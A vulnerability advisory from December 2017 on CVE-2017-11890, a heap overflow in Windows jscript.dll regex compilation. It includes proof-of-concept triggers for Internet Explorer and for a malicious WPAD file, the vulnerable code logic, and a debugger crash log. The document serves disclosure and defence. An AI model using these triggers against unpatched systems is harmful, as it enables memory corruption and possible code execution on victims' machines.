Microsoft Windows jscript!RegExpComp::Compile Heap Overflow
Posted on 19 December 2017
Windows: Heap overflow in jscript!RegExpComp::Compile through IE or local network via WPAD CVE-2017-11890 There is a heap overflow in jscript.dll when compiling a regex. This issue could potentially be exploited through multiple vectors: - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service. - The issue can also be exploited by opening a malicious web page in Internet Explorer. In this case, due to the sizes involved, a 64-bit tab process would most likely be required to trigger the issue. This is going to be the case for example when running IE in the Enhanced Protected Mode. The issue has been verified on 64-bit Win7 and 64-bit Win10 with the most recent patches applied. PoC for Internet Explorer: ============================================ <!-- saved from url=(0014)about:internet --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> </head> <body> <script language="Jscript.Encode"> var s = 'a'; for(var i=0;i<28;i++) { s = s+s; } s = s+'[a-z]'+s; r = new RegExp(); r.compile(s); </script> </body> </html> ============================================ PoC for WPAD: ============================================ function FindProxyForURL(url, host) { var s = 'a'; for(var i=0;i<28;i++) { s = s+s; } s = s+'[a-z]'+s; r = new RegExp(); r.compile(s); return "DIRECT"; } =========================================== Technical details: The issue is in RegExpComp::Compile (and several functions called from RegExpComp::Compile). RegExpComp::Compile is responsible for compiling a RegExp object. It maintains a buffer with the compilation result and extends it when necessary. Extending the buffer is handled using RegExpBase::EnsureSpace which looks (approximately) like: void RegExpBase::EnsureSpace(int desired_size) { if(desired_size > buffer_size) { if(2 * desired_size < desired_size) { //throw an exception } int new_size = 2 * desired_size; char * new_buffer = realloc(buffer, new_size); if(!new_buffer) { //throw an exception } buffer = new_buffer; buffer_size = new_size; } } Note that desired_size is a signed 32-bit integer. RegExpBase::EnsureSpace has an integer overflow check, however if an overflow happens in the caller (a caller must add the size which it wants to append to the existing content size) and desired_size becomes negative, RegExpBase::EnsureSpace would simply return because of the first if() statement without attempting to extend the buffer. Indeed, integer overflows can happen in the several callers of RegExpBase::EnsureSpace. The one being triggered in the PoC is in RegExpComp::Compile, when it attempts to append the raw input string to the buffer towards the end of the compilation process. Debug log (from IE, but it looks similar in the WPAD service): ============================================ (b90.698): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. msvcrt!memcpy+0x1d9: 000007fe`fefe123d 668901 mov word ptr [rcx],ax ds:00000002`5bb60fe0=???? 0:012> r rax=0000000040000061 rbx=00000000042b7ea0 rcx=000000025bb60fe0 rdx=fffffffdfa4b0010 rsi=00000000042b5f48 rdi=000000004000000a rip=000007fefefe123d rsp=0000000012399ef8 rbp=0000000012399f28 <a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000040000008 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=0000000000000000 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=6100610061006100 <a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=000000021bb60fd8 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000016010fe8 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=000007feebc91670 <a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000020000001 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 msvcrt!memcpy+0x1d9: 000007fe`fefe123d 668901 mov word ptr [rcx],ax ds:00000002`5bb60fe0=???? 0:012> k # Child-SP RetAddr Call Site 00 00000000`12399ef8 000007fe`ebc88bb3 msvcrt!memcpy+0x1d9 01 00000000`12399f00 000007fe`ebcfacc2 jscript!RegExpComp::Compile+0x1b7 02 00000000`12399f60 000007fe`ebce2118 jscript!RegExpComp::CompileDynamic+0x62 03 00000000`12399fa0 000007fe`ebce3310 jscript!RegExpObj::Compile+0x32c 04 00000000`1239a0f0 000007fe`ebc7c2ec jscript!JsRegExpCompile+0x70 05 00000000`1239a140 000007fe`ebc7a9fe jscript!NatFncObj::Call+0x138 06 00000000`1239a1f0 000007fe`ebc7b234 jscript!NameTbl::InvokeInternal+0x3f8 07 00000000`1239a310 000007fe`ebc79852 jscript!VAR::InvokeByName+0x81c 08 00000000`1239a520 000007fe`ebc79929 jscript!VAR::InvokeDispName+0x72 09 00000000`1239a5a0 000007fe`ebc724b8 jscript!VAR::InvokeByDispID+0x1229 0a 00000000`1239a5f0 000007fe`ebc78ec2 jscript!CScriptRuntime::Run+0x5a6 0b 00000000`1239b3f0 000007fe`ebc78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 0c 00000000`1239b600 000007fe`ebc78b95 jscript!ScrFncObj::Call+0xb7 0d 00000000`1239b6a0 000007fe`ebc7e6c0 jscript!CSession::Execute+0x19e 0e 00000000`1239b770 000007fe`ebc870e7 jscript!COleScript::ExecutePendingScripts+0x17a 0f 00000000`1239b840 000007fe`ebc868d6 jscript!COleScript::ParseScriptTextCore+0x267 10 00000000`1239b930 000007fe`ecdf5251 jscript!COleScript::ParseScriptText+0x56 11 00000000`1239b990 000007fe`ed57b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 12 00000000`1239ba10 000007fe`ecdf6256 MSHTML!CScriptCollection::ParseScriptText+0x37f 13 00000000`1239baf0 000007fe`ecdf5c8e MSHTML!CScriptData::CommitCode+0x3d9 14 00000000`1239bcc0 000007fe`ecdf5a11 MSHTML!CScriptData::Execute+0x283 15 00000000`1239bd80 000007fe`ed5b46fb MSHTML!CHtmScriptParseCtx::Execute+0x101 16 00000000`1239bdc0 000007fe`ece98a5b MSHTML!CHtmParseBase::Execute+0x235 17 00000000`1239be60 000007fe`ecd72e39 MSHTML!CHtmPost::Broadcast+0x90 18 00000000`1239bea0 000007fe`ecdccaef MSHTML!CHtmPost::Exec+0x4bb 19 00000000`1239c0b0 000007fe`ecdcca40 MSHTML!CHtmPost::Run+0x3f 1a 00000000`1239c0e0 000007fe`ecdcda12 MSHTML!PostManExecute+0x70 1b 00000000`1239c160 000007fe`ecdd0843 MSHTML!PostManResume+0xa1 1c 00000000`1239c1a0 000007fe`ecdb6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 1d 00000000`1239c1f0 000007fe`ed5e4f78 MSHTML!CDwnChan::OnMethodCall+0x41 1e 00000000`1239c220 000007fe`eccd9d75 MSHTML!GlobalWndOnMethodCall+0x240 1f 00000000`1239c2c0 00000000`77229bbd MSHTML!GlobalWndProc+0x150 20 00000000`1239c340 00000000`772298c2 USER32!UserCallWinProcCheckWow+0x1ad 21 00000000`1239c400 000007fe`f29d4a87 USER32!DispatchMessageWorker+0x3b5 22 00000000`1239c480 000007fe`f29dbabb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 23 00000000`1239f700 000007fe`fd73572f IEFRAME!LCIETab_ThreadProc+0x3a3 24 00000000`1239f830 000007fe`ee62925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 25 00000000`1239f860 00000000`773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 26 00000000`1239f8b0 00000000`7745a561 kernel32!BaseThreadInitThunk+0xd 27 00000000`1239f8e0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d ============================================ This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: ifratric
